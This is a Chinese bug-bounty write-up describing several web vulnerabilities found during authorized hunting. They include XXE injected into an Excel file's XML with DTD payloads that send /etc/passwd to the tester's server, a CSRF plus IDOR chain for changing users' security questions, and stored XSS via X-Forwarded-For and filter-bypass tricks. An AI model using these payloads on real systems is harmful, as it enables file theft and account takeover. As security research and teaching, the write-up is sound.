SRC漏洞挖掘经验分享

文件解析造成的XXE

网站存在一个有意思的功能点,通过上传Excel会将内容显示在页面上,也就是说后端会解析Excel

Excel是通过XML来存储数据的,也就是说网站解析了XML,那么我们就可以在XML中注入语句来尝试攻击

新建一个"新建 Microsoft Excel 工作表.xlsx",将后缀改为.zip并解压

尝试在"[Content_Types].xml"中注入语句,之后再压缩回.zip然后重命名为"新建 Microsoft Excel 工作表.xlsx"

<!DOCTYPE a [ <!ENTITY % b SYSTEM "http://你服务器的IP/x.dtd">%b;%c;%xxe;]>

在自己服务器构造x.dtd,并开启access.log日志

<!ENTITY % c "<!ENTITY &#37; xxe SYSTEM 'http://你服务器IP/XXE'>">

使用网站解析Excel,查看日志

成功调用外部实体

利用方式不用多说了吧,可以利用伪协议读取文件或系统命令执行

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">

<!ENTITY % c "<!ENTITY &#37; xxe SYSTEM 'http://你服务器IP/%file;'>">

CSRF与逻辑漏洞的组合拳

登录上后修改密保(忘记密码时通过回答问题来修改密码)进行抓包

尝试用GET请求来代替POST请求,https://xxx/xxx?a=1&b=2&c=3&x=MTIzNA==

修改成功,说明后端可以接收GET请求,也就是说如果用户在登录的情况下点开了此链接密保就会被修改

但是有个致命的问题需要解决,像a=1这种明显是问题与答案,那么x=MTIzNA==是什么呢

MTIzNA==显然是base64编码后的结果,解码发现是1234,应该是用来进行身份验证的,不同用户的x值不同

幸好发现了一个页面存在水平越权漏洞,可以通过遍历x来获取用户信息

通过这种方式即可遍历所有用户的x值,也就说可以构造恶意链接了

再结合网站自己的邮件功能即可将恶意链接发送给指定用户,导致用户密码被改

经尝试修改成功,也就是说网站也没有验证Referer

登录处的存储型XSS

找到一个登录框,直接登录,看到一排按钮

个人

登录日志

设置

本次漏洞就出在这个登录日志上,点开它

IP

时间

状态

x.x.x.x

2022

成功

到这里就应该有思路了,页面显示了用户的IP,也就是存在交互点,那么我们就可以尝试将JS注入IP一栏

状态显然不止有"成功",肯定也有"失败",不然它就没有意义了,也就是说如果存在注入,我们无需登录即可将JS注入用户界面,进而在用户登录后造成攻击

现在的问题是,如何修改IP,也就是探究网站识别用户IP的方式是什么

简单试了一下添加XFF请求头,X-Forwarded-For: <script>alert(1);</script>

先故意输入错误的密码,然后去掉XFF请求头正常登录

成功弹框,验证了漏洞存在,关掉弹框看一下,逗号左边就是JS代码了,只不过看不到

IP

时间

状态

x.x.x.x

2022

成功

,x.x.x.x

2022

失败

x.x.x.x

2022

成功

论坛的存储型XSS

先插一下试试

结果页面显示了<script>alert(1);</script>并没有出现弹框,说明<>被编码了

添加一个链接然后发表,并进行抓包

将href值修改为javascript:alert(1);

成功弹框,也就是说有些标签的<>不会被编码

再找一个绕过方式

添加一个图片然后发表,并进行抓包

修改为<img src=1 onerror="alert(1);"/>

结果并没有出现弹框,查看前端代码,onerror被替换为空了<img src=1 ="alert(1);"/>

尝试双写绕过onerroonerrorr,让中间的onerror被替换为空,最后保留一个onerror